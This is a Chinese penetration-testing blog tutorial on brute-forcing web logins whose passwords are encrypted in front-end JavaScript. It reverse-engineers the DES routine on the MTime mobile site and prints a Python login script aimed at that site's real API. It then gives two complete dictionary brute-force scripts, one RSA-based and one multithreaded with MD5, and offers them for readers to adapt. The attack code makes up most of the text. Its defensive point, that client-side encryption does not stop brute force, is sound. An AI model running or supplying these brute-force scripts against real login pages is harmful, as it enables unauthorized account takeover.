渗透测试-Python破解前端JS密码加密

文章目录

  • 前言
  • 加密破解
    • 站点简介
    • 加密分析
    • 编写脚本
    • 执行脚本
  • 暴力破解
  • 总结

前言

渗透测试过程中,经常会遇到有的站点未对用户登录失败的次数进行限制,导致可以直接使用 BurpSuite 工具进行暴力破解。有的站点虽然可以爆破,却在前端使用JS代码对密码进行了加密,如果是常规的加密或者哈希算法,BurpSuite 的爆破功能自带了选择加密算法的功能,可直接爆破搞定即可。但如果遇上不是常规加密算法、或者开发人员对常见算法进行变形的情况……

渗透测试-Python破解前端JS密码加密_第1张图片
本文将简述如何使用Python脚本对前端做了密码加密的站点进行暴力破解。

加密破解

由于进行暴力破解需要得到合法授权才不算违法(你懂的……),所以下面首先要介绍的并不是暴力破解,而是使用Python脚本调用保存到本地的、用于前端加密的JS文件对用户输入的明文进行加密,从而实现对目标站点的模拟登录。

站点简介

MTime 时光网 是一个电影媒体与电商服务平台,而这次做的模拟登录则是依靠其手机端站点,站点地址如下:

渗透测试-Python破解前端JS密码加密_第2张图片

【严正声明】本人并未使用脚本进行过暴力破解攻击……该网站已对登陆失败次数进行限制,错误登录5次将被禁用无法登录(手工试的),所以请各位读者别动歪心思……

首先注册账号并尝试登录:

渗透测试-Python破解前端JS密码加密_第3张图片
抓包查看登录请求数据包,发现密码确实做了加密:

渗透测试-Python破解前端JS密码加密_第4张图片渗透测试-Python破解前端JS密码加密_第5张图片
来看看请求包中的5个参数:

t=2020921817384257&name=130111122221&password=f096bcb738d4f7bd&code=&codeId=
参数 含义
t 类似于记录登录时间的参数
name 用户名,此处是用户的手机号码
password 加密后的密码,也是下面需要破解的参数对象
code、codeid 此处暂时为空,当连续输入三次密码错误将要需要输入图型验证码

加密分析

接下来的任务核心就是找出该站点JS文件中的加密算法。

1、老套路直接 F12 打开开发者工具,在调试器里面搜索关键字 “encrypt”(屡试不爽)……发现在app.all.min.js文件中存在疑似对密码进行 DES 加密的函数function af(a)

渗透测试-Python破解前端JS密码加密_第6张图片

渗透测试-Python破解前端JS密码加密_第7张图片

2、代码做了混淆,为了确认此处 function af(a) 函数是不是用来对密码进行加密的,设置断点重新登录,发现传递过来的密码明文 qwe123

渗透测试-Python破解前端JS密码加密_第8张图片
执行到 function af(a) 函数末尾,发现 return 的数据与之前抓包的 password 密文一致,至此可以断定 function af(a) 函数即为密码加密函数:

渗透测试-Python破解前端JS密码加密_第9张图片
3、注意到 function af(a) 函数当中调用了 CryptoJS.DES.encrypt 函数,为了追溯该函数的来源,搜索 CryptoJS 发现存在于 libs.all.min.js 文件中:

渗透测试-Python破解前端JS密码加密_第10张图片渗透测试-Python破解前端JS密码加密_第11张图片

4、将 libs.all.min.js 文件中 “var CryptoJS = CryptoJS || function (g, w) ” 所在行以后的JS代码全部保存到本地(共有1400多行)并重新命名为 encrypt.js 文件:

渗透测试-Python破解前端JS密码加密_第12张图片
同时在 encrypt.js 文件末尾新增一个函数(用于充当app.all.min.js文件中用于调用 libs.all.min.js 文件加密函数的function af(a)函数):

渗透测试-Python破解前端JS密码加密_第13张图片

编写脚本

既然前端JS加密脚本文件已经全部找到了,那就开始编写模拟登录的 Python 脚本了。代码比较简单(仅40余行)就不做分析了,直接附上完整代码:

import execjs
import requests

class MTimeSpider:
     def __init__(self, username, password):
         self.username = username
         self.password = password

     def encrypted(self):
         """
         use JavaScript to encrypt the password
         :return:
         """
         with open("encrypt.js", "r", encoding="utf-8") as f:
             ctx = execjs.compile(f.read())
             self.password = ctx.call("encrypt", self.password)
             print('加密后的密码是:'+self.password)

     def request(self):
         """
         send request and get the response
         :return:
         """
         self.encrypted()
         login_api = "https://m.mtime.cn/Service/callback-comm.mi/user/login.api"
         data = {
     
             "t": "2020921817384257",
             "name": self.username,
             "password": self.password,
             "code": "",
             "codeId": ""
         }
         res = requests.post(url=login_api, data=data)
         status, msg = res.json()["data"]["status"], res.json()["data"]["msg"]
         if status == 1:
             name = res.json()["data"]["user"]["nickname"]
             print("用户:{}登录成功!".format(name))
         else:
             print("登录失败:{}".format(msg))


if __name__ == '__main__':
     print("请输入账号:")
     usr = input()
     print("请输入密码:")
     pwd = input()
     spider = MTimeSpider(usr, pwd)
     spider.request()

执行脚本

使用 Pycharm 新建项目并将上面准备好的加密文件 encrypt.js 放在工程目录下,然后来看看脚本的执行效果:

渗透测试-Python破解前端JS密码加密_第14张图片
对比下抓包数据:

渗透测试-Python破解前端JS密码加密_第15张图片

可以看到,上述脚本可成功对输入的密码明文进行加密,并向服务器发送登录请求,成功登录。

暴力破解

以上完成了如何使用 Python 脚本对目标站点发送加密后的登录请求,但是演示的站点已做了登录失败次数限制同时未经授权不能暴力破解。

下面附上一个使用 Python 脚本进行登录爆破的案例:

# -*- coding: UTF-8 -*-
# @Time     : 2020/1/16 10:29
# @Author   : Donvin.li
# @CSDN     : https://blog.csdn.net/weixin_43853965/article/details/104020152
import rsa
import requests

def login(usr,psd):
    passd=get_rsa_result(psd)
    s=requests.session()
    headers={
     'Host': 'e.xxxx.com',
             'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
             'Accept': 'application/json, text/javascript, */*; q=0.01',
             'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
             'Accept-Encoding': 'gzip, deflate',
             'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
             'X-Requested-With': 'XMLHttpRequest',
             'Origin': 'http://e.xxxx.com',
             'Connection': 'close',
             'Referer': 'http://e.xxxx/portal/',
             }
    postdata={
     'lang':'cn','userid':usr,'pwd':passd,'cmd':'CLIENT_USER_LOGIN','sid':'','deviceType':'pc','_CACHE_LOGIN_TIME_':'1579162050273','pwdEncode':'RSA','timeZone':'-8'}
    url='http://e.xxxx.com/portal/r/jd'
    rs=s.post(url,postdata,headers=headers)
    result=rs.text
    if 'error' not in result:
        print('Login sucessful:'+usr+':'+psd)
    else:
        print('Not this!')

def get_rsa_result(content):
    """
    根据 模量与指数 生成公钥,并利用公钥对内容 rsa 加密返回结果
    :param e:指数
    :param n: 模量
    :param content:待加密字符串
    :return: 加密后结果
    """
    n = "8bcbceb956d3d6c0da8cd8847e50796eac0fb3d67d4901820fa85dcd8edbb30bd25966eb18223e1ace1308da181897df4559bf97cca6ae9a33a0baf6f53324334a385d2a7cbc186fb5070045080b6c948423e7ddcd795ac9eaa438317772f4a948409ecec92dfe222a10b4c327e8d0e494cc0aa42ebc786030a105da0637049d"
    e = "10001"
    e = int(e, 16)
    n = int(n, 16)

    pub_key = rsa.PublicKey(e=e, n=n)
    m = rsa.encrypt(content.encode(), pub_key)
    #print(m.hex())
    return m.hex()

def Brute(ufile,pfile):
    userfile=open(ufile,'r')
    passdfile=open(pfile,'r')
    for user in userfile:
        usr=user.strip()
        passdfile.seek(0)
        #print(usr)
        for passd in passdfile:
            psd=passd.strip()
            #print(usr,psd)
            login(usr,psd)
            
if __name__ == '__main__':
    Brute('u.txt','p.txt') #u.txt是用户名字典,p.txt是密码字典

还有另外一个大佬结合 Python 多线程进行爆破的案例:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
# @CSDN     : https://blog.csdn.net/qq_23936389/article/details/81256012

import requests
import threadpool
from selenium import webdriver
import execjs
 
def getpass(str):
    with open ('md5.js','r') as js:
        source = js.read()
        phantom = execjs.get('PhantomJS')
        getpass = phantom.compile(source)
        password = getpass.call('hex_md5',str)
        return password
 
def login(user,passwd):
    url="http://127.0.0.1/login.php"
    payload ={
     'username':user,'password':getpass(passwd)}
    headers={
     'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
    try:        
        response = requests.post(url,data=payload,headers=headers,timeout=5)
        result=response.content
        if result.count('fail')<1: 
            print '[success] ' +url+":"+user+':'+passwd 
    except:
        pass
        
def getLines(fileName):
    list=[]
    with open(fileName, 'r') as fd:
        for line in fd.readlines():
            line = line.strip()
            if not len(line) or line.startswith('#'):
                continue
            list.append(line)
    return list
 
if __name__ == '__main__':    
    username_list=getLines('user.dict')
    password_list=getLines('pass.dict')
 
    userlist = [([user,passwd],None) for user in username_list for passwd in password_list]    
    
    pool = threadpool.ThreadPool(20)  
    reqs = threadpool.makeRequests(login,userlist)  
    [pool.putRequest(req) for req in reqs]  
    pool.wait()

上述两段示例代码依次参考以下文章:

  • Python安全之突破RSA加密进行暴力破解
  • Web暴力破解—前端JS表单加密进行爆破

总结

在实际的工作中,可结合上述“时光网”模拟登录的案例分析和暴力破解脚本,自行编写爆破脚本。也希望各位开发的大佬不要再觉得使用前端JS加密了用户密码之后就可以高枕无忧啦!

你可能感兴趣的:(渗透测试)